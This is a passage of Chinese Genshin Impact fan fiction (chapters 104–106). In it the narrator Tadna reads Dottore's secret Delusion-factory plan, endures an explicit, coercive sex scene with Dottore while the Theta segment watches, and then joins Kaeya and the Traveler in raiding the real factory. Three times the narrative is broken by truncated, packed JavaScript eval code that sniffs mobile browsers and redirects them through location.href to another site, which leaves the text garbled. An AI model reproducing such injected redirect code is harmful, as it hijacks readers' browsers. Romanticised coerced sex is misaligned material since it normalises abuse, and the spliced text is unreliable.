这样的改造对我而言并不是什么难事,即使本身并不是什么富有研究天赋的人,但在多托雷身边耳濡目染这么多年,做些小东西还是手到擒来的。 只不过…… 我在身上搜刮了一圈,才发现今天出门的时候只带了那一个火系的邪眼,并没有带冰系邪眼,于是只能暂且作罢,等回去再拿。 把匣子放进储物袋,我感觉安心多了,又将刚才没来得及看的信纸拿出来一目十行地阅读起来。 那个北大陆神秘组织的来信,我上次返回至冬的时候有拜托那个组织的负责人帮我查一点东西,因为太久没收到回音,都差点忘了还有这件事。 不过,倒也很难评价手中的这封信究竟是否真的具有一定的价值。 我拜托那个组织的负责人帮我找一下是否有帮助失忆的人恢复记忆的方法,而这封回信上面所记录的,大多都是医学上常用的一些,比如协助回忆,刺激记忆的方法。若说稍微特别的,大概是提到须弥有一种技术可以将人与人的意识链接起来,如果有知道自己过往的人,说不定可以用这种方法达到恢复记忆的目的。 先不说须弥那群学者研究出来的东西是否真的可靠,单说这个协助的人的条件,难不成我要去找多托雷帮我不成? 未免有些可笑了。 我对这样的结果也并非不能接受,将信件折叠放进随身的口袋,便离开蒙德城赶回实验室。 实验室和平时并无两样,看到我的时候,研究员和士兵都会向我问好,我心情不好的时候会偶尔点头回应,心情好的时候则是会对每个人都微笑点头。 当然,无论如何即使是最冷漠的状态,也无人敢对我的态度提出不满。毕竟,多托雷就算是心情好的时候也不见得会理一理这些人。 按照往常的规定,回实验室要先向多托雷报备今日的行程。不允许撒谎,但细节上可以自行处置的程度很大,所以勉强还能算得上自由。 我象征性地敲两下实验室的门然后推门而入,稍微意外的是,实验室里并没有看到多托雷,甚至一个人都没看到。 这可不算常见,要知道至冬的实验室,即使是最偏僻的分实验室,也从未有过空荡没有一人的时候。 我走进去,熟悉的药剂的味道混杂着钻进我的鼻腔。我没有一天不会闻到实验室的味道,这样熟悉,以至于让我感到放松下来。 我走到最中间,实验台的位置,打量着上面摆放地乱中有序的药剂瓶,在试管架上我看到了一支装着蓝色药剂的试管,推测大概是两种试剂混合产生,因为试管底还留有一些反应后的沉淀,只不过不知道为什么被半途遗弃在这里。 当然,也可能是因为反应失败了。 即使是愚人众的执行官,也无法控制试剂的反应。 这恐怕是世界上最公平的事情了。 思及此,我忍不住笑出来,将自己往后抛进靠椅里。 104.第 104 章 实验室因为背光所以偏冷的空气,混杂着好几种试剂的味道,即使是我,也能光凭自己的鼻子说出这些试剂的名字。如此的熟悉,让我感到一丝轻松和熟捻。 实验室的这把靠椅是专门为多托雷准备的,除开多托雷,没有人会胆子大到在实验室做除了进行实验这一项任务之外的任何事,更何谈休息。 唯有多托雷,他喜欢一个人待在实验室,或是思考,也或是观摩自己的研究成果,无论如何,很显然让尊贵的执行官大人呆站着进行思考并不符合多托雷的身份。 不过,既然多托雷不在的话,稍微借我休憩一下或许也不会有人介意。 我如此想着,让自己躺得更靠椅背,几乎要让自己都被塞进椅子里。柔软的靠垫让我生出一点困倦。 我的眼神在周围巡视了一圈,最终落在面前的实验台上。 琳琅满目,上面摆放着一份文件。 那样大咧咧地躺在桌子上,从我的距离甚至能看到上面黑色的字体。 我将其随手拿起。 无甚多余的想法,只是单纯地拿起而已。我的大脑在我伸手的那一刻甚至没有反应过来计算我的行为是否得当。 大概是被那点困倦影响,大脑也开始了开小差。 我拿起文件,连扉页的内容也懒得驻目留视一眼,手指轻巧地掀开首页。 “……关于‘在蒙德实行邪眼发行’的计划,涉及人员总共…人,除去蒙德分部实验室的…人,另额外收编…人,皆属蒙德居民。…负责人提出关于编外人员的管理问题以及如何确保消息不会泄露,关于此,特批准采用V-M002药剂对…进行控制。 5日,对…等三人进行销毁处理。罪名‘泄露计划机密’确定达成,审查人如下……” 这大概不是一份我应该翻阅的文件。 我的直觉如是告诉我,只可惜在大脑发出禁止指令之前,我的眼睛已经不可避免地落在了更糟糕的地方。 “……对‘确立生产临时点’一事进行讨论,对蒙德境内包括总实验室在内的13处实验室进行条件评定,投票裁决出3号为最终生产实验室。……决定将部分人手转移奔狼领的3号实验室,经过进一步商议,决定启用1,2,4,6,7号实验室……为分散骑士团注意……” 实验室,是位于奔狼领的3号实验室。 那,凯亚他带领西风骑士团找到的清泉镇的所谓“生产邪眼的实验室”其实是……用来专门分散骑士团搜查的假饵。 我感到一阵口干舌燥,甚至那点困倦都被完全吓走了。 我紧张地捏紧手里的这份文件,脑海里无比纠结。 多托雷故意将我排除在外的,要在蒙德散发邪眼的计划,完整的计划书如今就在我的手中,而现在,我独自一人,实验室里没有其他人,如果我想的话,只要我能在几分钟之内浏览完这份文件——这对我并不算一件难事。 我忍不住咽了口口水,但因为太过于紧张的缘故,唾液腺正在源源不断地生产宣告着我此刻的震颤和紧张的液体,让我无法静下心来。 手中的文件在此刻仿佛变成了迷惑人心的潘多拉魔盒,正在不断地引诱着我,引诱着我伸手打开它。 只要,几分钟……多托雷大概率不会这么快回来。 我头晕目眩地伸出手。 但在指尖还未抵达侧页的时候,一只手从天而降,压在我怀中的文件上,阻止了那翻动的动作。 “你在看什么,塔德纳?” 带着温柔的笑意的询问声从背后响起,但我只觉得这是世界上最可怕的声音。 “主……主人……” 我低着头,此刻甚至不敢做出多余的任何动作,因为我不敢确认背后的人,不知何时到来的多托雷,他现在的表情。 于是视野里只剩下那只手,不容置疑地按在文件上的,被黑色的皮质手套完全包裹也掩盖不住其下有力的肌肉。 见我不回答他的问题,多托雷在文件表面敲了敲。 “不要忽视我的问题,塔德纳。”那笑意减淡,“要诚实地回答我的一切问题,我如此告诉过你,还记得吗?” 我闭了闭眼。 “是,是您遗留在实验台上的文件……抱歉,我只是有些好奇,我不知道这份文件是……” “嘘——” 多托雷不知道什么时候从背后走到我的面前。他弯下腰,伸出食指挡在我的唇上。 我闭上嘴,紧张地低着头,不敢抬头去看多托雷。 多托雷从我的怀中抽出那份文件。 文件被翻动的声音响起,不紧不慢,过了一会儿,不同于纸张被翻动发出的摩擦声,更为清脆的一声响起,那大概是多托雷合上了手中的文件。 我的身体随着这一声响颤抖了一下。 “保持适当的好奇心对一位学者而言或许是必要的品质,不过,对于你,塔德纳,你该明白,什么时候应该闭上自己的眼睛才对。” 血液像被从身体抽离一样,我感到晕眩。 “是……主人,我……” “没必要对塔德纳这么严苛,‘本体’。只是一份可有可无的文件罢了。”另一道声音响起,那是Theta切片,同样出现在身后,离我极近的位置。 “如果我没理解错,你是想要包庇塔德纳的罪行吗?” “说是‘罪行’也太过分了吧?只是一个小小的,甚至放不到台面上的‘错误’而已。你太紧绷了,‘本体’,被骑士团发现踪迹这件事有让你如此严阵以待的必要吗?” “一群鬣狗而已,但,节点的联络人员被抓也是事实,计划不得不因此暂停。我想你也知道,Theta,时间拖得越久,局势对我们越发不利。” “是这样没错。”Theta轻笑一声。 他走动着,鞋跟扣在地面上发出清脆的声音。 Theta停下来,下一刻,一只带着温度的手掌落在我的侧脸上。 “但,那也不该迁怒塔德纳不是吗?塔德纳都要被你吓哭了,真可怜。” Theta抬起我的脸,让我抬头直视着他,随后,像是在安抚小动物一样,抚摸着我的脸,而另一只手,则是落在我的后颈上,温热的掌心覆盖着整个后颈,环绕着将我轻轻抬起。 “不用害怕,塔德纳。”Theta如此轻声说,“我在这里。” 我诡异地感受到了安心,连恐惧也消减不少。 多托雷抱着手臂看着。他似乎真的情绪一般,连带着开口时语气中的冷意也变得明显。 “Theta,放开塔德纳。我没有允许过你可以随意触碰塔德纳。” “冷静一点,‘本体’,我只是做了你应该做的事情而已。安抚塔德纳,给予塔德纳安全感。如果你感到不满的话,你也可以这样做不是吗?学习我所做的一切,如同往常一样。” “你的得意太过明显了,Theta。” “是吗?”Theta笑吟吟地反问,却没有放手的意思。 Theta:“那大概是因为,某人的肆意对待让我有了可乘之机。塔德纳在我的身边更加放松,这是无可争辩的事实。而造成这一切的元凶,如今就在这里。” 多托雷:“……你难不成以为,因为我们之间的‘临时合作’,我就会无视你的僭越的行为吗?更何况,作为我的切片,你比我更明白,你和我之间并无任何区别。” “不,是有的。” 回应多托雷的是Theta坚定的否认。 “我将塔德纳视为比我的灵魂更加重要且珍贵之物,这就是我与你的区别,‘本体’。” 两人之间的气氛蓦然变得更加冷凝和沉默。我在这样紧绷的空隙里甚至感受不到呼吸的空余,只能一次又一次地放轻自己的呼吸,祈祷着这场不愉快的争吵能早点过去。 至少,不要再牵扯到我。 在愈发紧张的对峙中,我突然听到多托雷的声音。 “过来,塔德纳。”他如此命令着,虽然已经在压抑着其中的暴虐,但依然让我感到胆颤。 在多托雷明显生气的节点靠近他很显然不是合理的行为,但是,作为多托雷的所有物的我,如何拥有拒绝的权利? 我握住Theta的手腕,稍微用力往下拉开。Theta定定地看着我,却没有拒绝,只是顺着我的动作放开我,直到后颈上的手也被我拿下,Theta切片直起身,空出了我面前的位置。 他什么都没说,只将自己的视线一刻不停地放在我的身上。 甚至是我颤颤巍巍扶着椅子站起来,畏缩着将自己移动到多托雷身边的时候,那存在感十足的视线也依然存在。 “主人。”我低着头,咬牙叫出来一声。 多托雷似乎更不高兴了。 这很难评价,明明我已经按照他的指令过去了。多托雷以前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310866|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从不至于对我有如此情绪失常的时候,至少是在我如今所有的记忆当中。 硬是要说的话,倒有点像多托雷面对那些实验室的研究员一样,一样的喜怒不定。 我莫名感到有些委屈,“被多托雷划分在线外”,无论是被故意排除在计划之外,亦或者是如今因为不小心偷看到文件而被如此动怒这件事,都让我感到被逐渐推远的疏离和恐慌,以至于发展成为“不该如此”的委屈。 当然,被如此多情绪塞满的我现在也无暇思考明明自己在意识到这份文件不该是自己私自查看的秘密之时想要无视风险继续观看的事情了。 被负面情绪塞满的大脑变得又酸又胀,无法思考,眼前的视线也开始变得湿热模糊。 下颌被钳制住强硬地抬起。多托雷俯视着我,视线隔着面具挑剔地观察着我,随后,他将我压得后退半步,后腰抵住实验台冰冷的边缘,就着这样的动作,稍微弯腰咬上我的唇。 动作有些粗暴,带着点惩罚的意味,舌头轻而易举地撬开牙关闯进去,一丝不放地舔舐吮吸起来。 我无力地被迫承受着,压抑着自己的情绪和泪水的同时,还要尽量放开自己,让多托雷进得更深,这样的负荷几乎让我难以承受。 我开始挣扎起来,但很快被镇压。多托雷将我推到实验台上,试管碎裂的声音响了一地,我在恍惚之间似乎还听到了什么东西砸在地上的动静,闷闷的,像是一本书掉落一样。 如同在至冬的住所,被多托雷拉到怀里温存时,随手被多托雷扔在地上的实验报告。当然,偶尔也可能是什么专业的书籍。 似乎是察觉到我的走神,多托雷含住我的舌,用上力咬了一下。 “呜……” 我模糊地痛呼着。 但很快,连这点疼痛也被盖过去了,敏感的地方被突然用力揉捏住,强制唤醒身体的迎合。 我忍不住哭出来,连最后的挣扎也被迫完全放弃。 旁边似乎有人在说话。 “喂,你不会是要在这里吧?稍微考虑一下我还在这里呢?”带着不爽。 多托雷稍微抽离自己。 “门就在那边。我以为你至少该是个读得懂空气的人?”他连头都没转,“塔德纳,张开嘴。” 我下意识地分开唇。后背被刚才掀翻的试管浸湿了衣服,我感到不适,伸出手臂环绕着多托雷的肩膀,让自己与那台面稍微分离。 多托雷揽住我的后背,从喉咙里挤出一声笑。 “惯会讨好人的家伙。看来全是我给你惯坏了,现在连最基本的规矩都要我重新再教你一遍。” 我迷蒙地看着眼前的男人,被拉着沉浸在欢愉中的身体混沌了大脑,一时间竟然分析不出多托雷所说的话语意思。 但唯一能感应到的,如同镌刻在灵魂上的最直接的反应,我能感受到眼前的人似乎突然决定原谅了我。 就像往日无数次被发现违背了命令,又被轻而易举地宽纵一样。 被架住双腿的一刹那,我听到多托雷的声音。 “灵魂?是指在我创造你时被我施舍给你的那一部分‘我’吗?真是可笑。” “塔德纳是我的所有物,合该与我纠缠到永远,这,才是无可争辩的事实。” “不过,有一点你倒是说得不错。”多托雷笑道,“这确实只是一个,‘上不了台面的小错误’而已,不该成为我和塔德纳之间分歧的点。” …… 男人抚摸着怀中颤抖着,哭泣着,却依然紧紧抱着自己的青年。他引导着青年与自己一同踏入极乐之中,在这间实验室,在这张冰冷的实验台上,青年被压倒在凌乱的试管中间,衣裳被浸湿,贴合着身体。 但是,还有更多。不只是倾倒出来的试剂,还有湿淋淋的汗,青年的眼泪,以及,那代表着欢愉的潮湿。 自始至终,另一个男人只是观看着。 他面无表情地看着青年迎合的身体,迎合的表情,以及到达最终点时,青年控制不住的呻吟。 与青年相拥的人,合该是他才对。 另一个男人在心中忍不住如此想着。 那点欲念在心中产生,吸收着潮湿的空气,膨胀地越来越大。 Theta觉得自己要被这样的念头撑得爆炸了。 灵魂…… 如果他的灵魂来自眼前与青年拥合的男人的话,那属于他自己的部分又在哪里呢? 105.第 105 章 那日的混乱如同一场梦一样,只在脑海里留下一道犹如雪迹融化之后的水痕,也很快完全蒸发消失。 多托雷没有追究我的过失,好似他真的就如同他所说的那样决定将实验室的那件事当成一个“上不了台面的”,“微不足道的”小错误,就这样当作没有发生过一般。 至于那份写满了此次计划的文件,在从房间醒来的时候,我在客厅的桌子上发现了它。 没有任何的遮掩,就那样明晃晃地摆放在那里。 这是多托雷的又一次宽容,一次退步。 我站在客厅,凝视那份文件许久,最终还是伸出手将其拿起。 我能感受到自己内心的颤抖和摇摆。在任性地埋冤了“被排除在斜眼计划”的这件事后,如今纵容再一次降临,像是恶魔的低语,在我的耳边不停地呢喃: 回来吧,迷途的羊羔。黑暗既已给予你再行一次的特权,那你又为何要追逐天外的,不切实际的阳光? 我潦草地将手中的文件翻过一遍。此刻对这份文件,我也早已经失去了兴趣。 那么最初催促着我打开这“魔盒”的诱惑是什么呢? 无人许诺过的,要走到阳光下一方的未来。但其实,也只是空谈。 我的脑海里浮现出许多人的身影:旅行者,派蒙,还有凯亚,以及其他的蒙德众人。 要用这份文件的内容去帮助他们吗? 我在心中如此询问自己,却也在问题被发出的时候瞬间得到答案。 不,没有必要。 风险和可能获得的收益,那可能会出现的,旅行者和派蒙,或者蒙德的那些人对我的接纳和善意,暂且都不能成为我做下走出这富有风险一步棋的原因。 更何况,还有另一笔交易等着我完成。 那笔,因由内心的冲动达成的,与神明之间的交易。 同时,也更加符合我当下最迫切需要解决的问题。 那个问题,从出现开始便犹如达摩克斯之剑悬浮于我头顶的危机,即使是被多托雷所阻碍着追寻真相的步伐,我也必须要寻找,因为内心的真言。 关于我的“记忆”。 将文件随手扔回桌上,发出的闷响如同不协和的音调,那是这个世界上最无趣的声音。 我颓然地坐在椅子上,想要拿自己的储物袋。伸手的时候才记起来下楼的时候我没拿。 储物袋,连同昨天的衣服一起,都被多托雷脱下来了。衣服在脏衣篓,而储物袋…… 我花费了一段时间才说服自己撑着仍然难受的身体重新站起来,又一步一步汲着步子踩上楼梯,在卧室的床头柜找到了被随手放置在上面的储物袋。 打开储物袋,从里面找出那个匣子。 在匣子打开的一瞬间,里面的冰花在床头灯的映射下,散出一阵黄澄澄的光。 像一个灯笼一样。 想到这里,心情稍微轻松了一点。那朵冰花即使过去一天一夜,也没有丝毫融化的迹象,持续不断散发而出的冷气让我自醒来后始终焦躁不安的心稍微冷静下来。 我在床边坐了一会儿,又想起要拆一个冰系邪眼做冰冻装置的事。从床头柜捞起那只匣子,我哒哒地又跑下去,在客厅的柜子里如愿找到了自己需要的东西。 一枚邪眼,以及一些工具。 我稍微用了一点力气和时间改造出自己想要的东西,将那枚被改得面目全非的邪眼放进匣子的时候,我的脑海里闪过一个可笑的想法。 要是多托雷看到我用他无上尊贵的智慧凝结出来的邪眼发明搞出来这么一个除了制冷什么用都没有的装置的话,估计会忍不住大骂一句“废品”,然后把这耻辱的丑物扔到最肮脏的下水道里面埋葬吧。 当然,这也只是我脑海中突兀出现的,堪称荒谬的想象之情景而已。 即便多托雷再如何失态,如今的他,大概也只会让我把这东西扔了,别再举着这破玩意儿出现在他的眼前伤他的眼。 将匣子放回去,我把桌子上散落的工具又一件一件,按照记忆里面的位置摆放回工具箱里。 这件工具箱其实是多托雷偶尔会使用到的东西,一些在实验室没来得及做,或者回来时才突然产生的猜想,会由多托雷使用住处的简易工具箱进行操作。 甚至即使是蒙德这个临时的居住点,也有着一个专门的小型操作间,里面是各式的试管烧瓶之类的东西。 我对那些东西不是很懂,也保持着自己的敬畏,但工具箱我偶尔会用,比如用来给一些经过时间腐蚀变得不太好用的东西进行修理,所以多托雷会将一部分我会用到的工具放在客厅。 等做完这些,合上工具箱,那似乎尚未褪去的倦意又从身体的深处缓缓蔓延上来,如同潮水一样席卷我的意识。 我发了一会儿呆,就这样趴在客厅的桌上陷入睡眠。 那是一段不算愉快的休憩。 桌子很硬,高度也过于矮了,趴上去的姿势很难受,而因为懒得在衣柜里花时间斟酌该穿什么,身上随手拿来披着的原属于多托雷的外套也显得有些大,在我睡着后滑落。 我就这样难受地睡了一会儿,迷蒙之间,似乎听到门锁打开的声音,紧接着,熟悉的气息笼罩我,从腰间拾起那件外套,抖两下盖在我的背上。 我听到一声轻微的,如同幻觉一样的叹息声,紧接着被拦腰抱起。 我落入一个怀抱中,那怀抱并不温暖,甚至或许连正常人的温度都算不上,只有扣着自己身体的臂膀上,能感受到的依然属于活人触感的手臂肌肉能够证明,那最起码是一个“人”,而非机器。 在平稳的怀抱中,我似乎被抱上了楼放到卧室的床上。那人相当有耐心地帮我盖上了被子,随后默不作声地转身离开,关上门。 咔嗒—— 放轻的关门声,在再次逐渐模糊的意识边缘,甚至连记忆都留不下,就很快被当成无用的信息归入遗忘的洪流。 …… “喂,塔德纳?嗯……怎么回事,塔德纳好像在想什么东西,明明是这么重要的时间点。不要再发呆了啊!塔德纳!塔—德—纳—” 我突然从虚无的沉思中脱离出来,猛地抬头,差点撞到在我眼前不断挥着手,离我极近的派蒙。 “呜啊!吓死我了!”派蒙唰地一下飞开,惊魂不定地拍了拍胸口。派蒙发出严厉的指责:“你怎么抬头前不提前告诉我一下!差点就撞到派蒙了,好险好险。” 旅行者:“明明是派蒙一直在打扰塔德纳吧。收了塔德纳请的甜品,却这个态度,我要是塔德纳,以后就再也不请派蒙吃甜品了。” “啊,不要啊……派蒙只是有点担心塔德纳而已。”危及甜品,派蒙的表情一下子黯淡下来,“塔德纳刚刚一直看着一个方向,连眼睛都没眨过。” 我活动了一下有些僵硬的手臂和身体,露出点笑容。 “是我该道歉才是,明明说着要在最终行动之前请旅行者大人和派蒙大人吃甜品放松一下,结果却自顾自地走神了。” 我转向身边有些沮丧的派蒙:“放心吧,只要派蒙大人愿意,就算是每天都请派蒙大人吃甜品,那也是我的荣幸。” “真,真的吗?”派蒙抑制不住地眼睛亮起来,“真的可以每天都吃甜品吗?” “当然。” 旅行者:“呵呵,每天都吃甜品的话,派蒙小心长蛀牙哦。” 派蒙:“才不会!派蒙明明每天都有好好刷牙。” “对了。”派蒙看向我,“塔德纳刚才到底是在想什么?想得那么出神,我怎么叫你都听不到。” 旅行者也看过来,露出恰到好处的疑惑之色。 现在一味敷衍这个问题的话估计会引起两人的怀疑和不必要的关注。 我思考了一下,才回答:“只是在想之前的一些事情。我们之前拜访过的,那位面包店店长的女儿,如今还是自己一个人在家吗?” “原来塔德纳在想的事情是这个。”派蒙了然,“这件事情塔德纳不用担心哦,虽然那位店长大叔还没有醒过来,但凯亚已经帮安妮找到了可以照顾她的地方。” “哎呀,刚来就听到有人提到我的名字,看来是伟大的风之神引导,让我现在出现在这里呢。” 凯亚推开店门,脸上是一贯的笑容。 “凯亚!你可算来了,我和旅行者,还有塔德纳在这里等了你好久。”派蒙高兴地挥手。 凯亚一边走一边笑着道歉:“是我来晚了,就请派蒙大人有大量,原谅我这一次吧。” 明显玩笑的意思,而派蒙也很捧场地哼了一声。 “光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对了,这个“短时间”指的是十年及以上。 我感到棘手,甚至连手指间的叉柄在此刻都显得多余且碍事。 我放下手中的叉子,银质的器具在精致的瓷器上发出一声清脆的响。 “相信在风之神的指引下,我们终会再遇的。”我笑道。 这样回答应该没问题吧,这些人应该不知道我对神明的信仰基本为零。 我在心中想着。 “风之神吗?”派蒙挠了挠头,一下子变得难言,欲言又止。 旅行者扶额:“听起来不太靠谱。” 凯亚也惊奇地看了我一眼,随即闷笑一声。 “身为至冬人却愿意相信风之神巴巴托斯的指引吗?还真是有趣。” 我忍不住纠正。 “我是须弥人。” 虽然自己对于须弥的过往的记忆已经完全记不起来了,脑海中只剩下经由多托雷编造之后的模样,我对须弥这个名义上的故土也无任何的挂念,但平白被当成是至冬人也让我不是那么愉快。 “那,塔德纳之后是会和那个人一起回至冬吗?就是那个……”派蒙犹豫了一下,纠结了很久才像是终于说服了自己吐出后半句,“你的,‘爱人’?” 我:“……” 我陷入极端的沉默,一时间甚至有一种把耳朵堵上的冲动。 “‘爱人’?”凯亚带着笑意的声音在耳畔响起,但那笑意很僵硬,像是被强硬着塞进来的一样,“我怎么不知道,塔德纳什么时候有了一个‘爱人’?” “就是,就是我和旅行者之前见过的,一个戴着奇怪面具的人。”派蒙犹疑地说,“对了,他还和塔德纳有一模一样的耳坠。” 三道不同方向的视线齐刷刷落到我身上。 我抑制住自己想要遮住耳坠的冲动,维持笑容。 “派蒙大人,我要将‘愿意每天请您吃甜品’的承诺改成‘每两天请您一次’,并且只会给您每次点一份甜品。” 派蒙:“?!!!” 派蒙:“诶?!怎么,怎么突然就……” 106.第 106 章 在结束短暂的甜品聚会后,凯亚和我们一同动身前往邪眼工厂,也就是,位于清泉镇的…… 我看了一眼在前面带路的凯亚,又看了看身边明显不是往清泉镇方向的风景。心中很是疑惑。 派蒙迷茫地看着四周。 “凯亚,不是说要去找那个邪眼工厂吗?我们现在这个方向,不是去清泉镇的方向吧?” “派蒙可真聪明。我本来还在想,要多久才会有人提出这个问题呢。”凯亚笑起来。他看起来一点也没有意外会被询问这个问题一样。 就像是早有预谋。 凯亚:“我们现在要去的,是奔狼领。” “奔狼领?!” “没错。”凯亚认同地点头,“根据那些抓到的愚人众的下线的情报,愚人众在蒙德的工厂基地并不只有一个,而骑士团之前得到的那个,所谓‘邪眼工厂位于清泉镇’的消息,实际上是被放出来掩人耳目的假消息。” 派蒙:“竟然还有这种事?!” “自然。愚人众等级严密,幕后黑手必然是极尽利用和算计,普通的愚人众甚至连所谓的计划都不知情。为了得到准确的情报,我也是费了很大的精力。” “可是,就算是这样,凯亚也应该提前告诉我们才对,偏偏要等到我问出来才说。”派蒙有些幽怨地指责道。 “抱歉,毕竟要确保今天的计划能够成功,所以很多东西并不能一开始就告诉各位,这也是为了防止行动被愚人众发现。” “好吧,看在这个份上,派蒙就原谅你吧。” 那边的对话进行着,我却感到有些恍惚,有一件事在脑海里愈发清明: 凯亚知道邪眼工厂实际上是在奔狼领。 那他之前在我面前所说的,邪眼工厂被发现在清泉镇的事情,掩人耳目?不,倒不如更具体一点,通过我来掩多托雷的耳目。 我突然感到一点好笑。 多托雷为我装上无数层的禁锢,不惜用无时不刻不在运行着的监视装置来掌控我的行踪和我的情况,是否会预料到某一天,我身上的装置会被人利用反过来致盲他呢? 多托雷唯一错算的一点,大概是凯亚对我的相处上的结果吧。 即使是他,大概在听到我被自己结交的,正义一派的“朋友”所“利用”这一件事后,也会感到难以置信吧。 在心里胡思乱想之间,凯亚不知道何时出现在我的身边。 “你生气了?”凯亚歪头低声问我。 我从沉思中将自己拔出来,听见这个问题未免感到疑惑。 “凯亚先生为何要这么问我?” 凯亚顿了一下,似乎是在思考如何组织自己的语言。 “这次的事情,我向你隐瞒了真相,甚至,还想要用你……” “嘘——” 我伸出食指抵唇。 “多余的话就不用讲了。”我如此说着,伸手轻抚着耳垂上的耳饰,即便是在太阳底下照射过一段时间,细长的试管本身依然散着凉意。 “您不用太在意我。毕竟,光线透过冰花之时,一切都无所遁形。” 凯亚愣了一下,过了会儿,才发出一声低笑。 “你看到了。” “当然,我看到了。” 那朵被作为礼物送出的冰花,当黄色的灯光照射其上之时,折射出的光线,从一定角度便能够发现规律,线条组成的字符正是“抱歉”二字。 “我们之间,已经无需再讨论这件事了,不是吗?”我如是反问。 毕竟道歉的话我早就已经收到了,对这样的情景也并非毫无预知。 至少是在看到冰花映射出的“道歉”二字之后。 令我稍微感到惊奇的,反而是凯亚竟然知道我的耳坠另有玄机这件事。 至于凯亚利用我作为中转模糊愚人众那边的情报这件事,我个人而言并无多少特别的,额外的情绪。 我在这之中,什么都不需要知道,什么都不需要做,可以心安理得地当作自己事实上就并不知道这件事,把自己本人当作完全不知情者,不用遭受什么道德的诘问,也不用犹豫着决定是否要“出手帮忙”。 毕竟,对于暂时的我而言,在两边保持相等的,平和的相处,这样更中立的位置比较符合我的期望。 我很清楚我无法摆脱多托雷的阴影,但即使这样,在面对旅行者和派蒙,面对凯亚这样的人的时候,我也很难就此作出“立刻远离”的决定。 在经历过严寒的冬天后,春天总是找人喜爱和不自主靠近的。 凯亚不再言语。他自然也能从我的态度中窥得一点我现在的情绪,知晓自己的留言被完完全全地接收到,也知晓自己忐忑的冒犯并未招惹眼前人的他想。 至于我? 说实话,我现在甚至感觉有点兴奋。 在凯亚坦白他发现的工厂并不是在清泉镇,而是位于奔狼领,那真正的邪眼工厂时,“将要前往真正的地点,作为正义的力量去摧毁反派的势力点”,这样只会在冒险小说里出现的情节如今降临在我的身上,“将参与挫败邪眼计划”的事实让我难以抑制地兴奋。 不用抉择,不用思考,我只需要跟紧身边的人。 我想起那道“交易”,那天在城门,和第一次见面的神明的会面,以及神明提出的“请求”。 当然,请求。 对我这种,连半分长处都无,遥远的,长久的五百年岁月都被迫在一个人的手底下苟延,甚至会从中感到卑劣的愉悦的家伙,所言明的请求。 吟游诗人装扮的神明希望我能够帮忙阻止愚人众将要在蒙德实施的邪恶计划,而作为回报,他将回应我当前最为急迫的一个需求。 我不清楚堂堂的一国神明为何会找到我来帮忙解决这件事,当时的我甚至连所谓的愚人众将要实行的“邪恶计划”都一无所知。 那位神明大概另有目的,但我没办法拒绝。 一位神明的允诺,甚至是最初莅临七神座的神明之一,若是得到这个机会,那么我逸失的记忆,是否也有可能,绕过多托雷的辖制,重归我身? …… 前往目的地的时间并未消耗过久,在场的几人,凯亚和旅行者一位神之眼拥有者,一位卓越的冒险家,再加上我这个给多托雷跑了几百年腿的,以及用飞的派蒙,一行人迅速且隐蔽地接近了目的地。 一处隐秘在山洞里的实验室,若不是有凯亚得来的情报引导,很难发现这座实验室的所在之地。 即使是我。 我所知道的蒙德的分实验室,其中也并不包括这处。不过,稍微再仔细点观察,这座实验室似乎是临时建造的,好像才刚完工没多久。 我将心中的猜测掩下,跟着凯亚和旅行者靠近实验室,从一处偏门进入,在旁观了旅行者和凯亚同驻扎的愚人众进行了“亲切友好”的肢体交流后,顺利进入实验室。 “这里就是用来制造邪眼的工厂吗?”派蒙左看右看,发出一声惊呼,“虽然装修有些简陋,但面积也太大了吧。” “这里应该不是生产间。”凯亚将手下打晕的愚人众绑到墙角。 他走过来,在最中间的一扇门上下左右各摸索了一下。一声清脆的被按动的机关声响起,门一点点打开,露出里面狭长的甬道。 这样的通道…… 我只看了一眼便有些嫌弃地扭过头。经过专门设计故意复杂化的实验室,这样的甬道几乎遍布每个大型一点的实验室,像是蜘蛛网一样交杂。 行走在里面,让人感到难受地喘不过气来,既是因为看不到头的甬道,也是因为弯弯绕绕的设计和狭窄化的宽度高度。 “呃,这里面,好阴森啊。”派蒙有些犹豫,“感觉像是会发生什么可怕的事情一样。” 旅行者有些无语:“派蒙是恐怖小说看多了吧。” “才没有!”派蒙反驳,“这里面又暗又深,感到恐怖不是很正常吗?派蒙肯定不止我一个人会这么想。你说对吧,塔德纳?” 她唰地一下转头看向我。 “啊……”我挠了挠头,再看了一眼那甬道,试图努力地让自己对看了几百年的反人类设计生出一点害怕,惊惧,惶恐的情绪。 派蒙正无比期待着我说出支持她的话语。 我移开视线,艰难地赞同:“确实是有点……” “看吧!我就说吧!塔德纳也这么认为。” 旅行者:“……塔德纳只是不擅长否决别人而已。这样根本没有半点信服力吧。” 凯亚适时开口:“走吧,看来我们要找的地方很快就到了。” 我们踏入甬道,因为甬道狭窄,并不能支持两个人并列而行,所以我们几人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宽阔的生产间,与其说是“房间”,不如说是将最内部的洞穴空间完全开辟出来当作容纳点。足有十几米高的机械装置竖立在众人面前,发出规律的咔擦声。 派蒙飞出来,在面前运转的履带上发现了一大堆排列运输的东西。 “是,是邪眼!天呐,好多邪眼。” 正如派蒙所言,那一个个被履带运输的东西,正是如今在蒙德被愚人众散发的邪眼,特殊的材料,经由简单的加工,被制作成简易版本的邪眼,虽然拥有最基础的作用,即让普通人使用元素力的伟力,但同时,副作用也会更大。 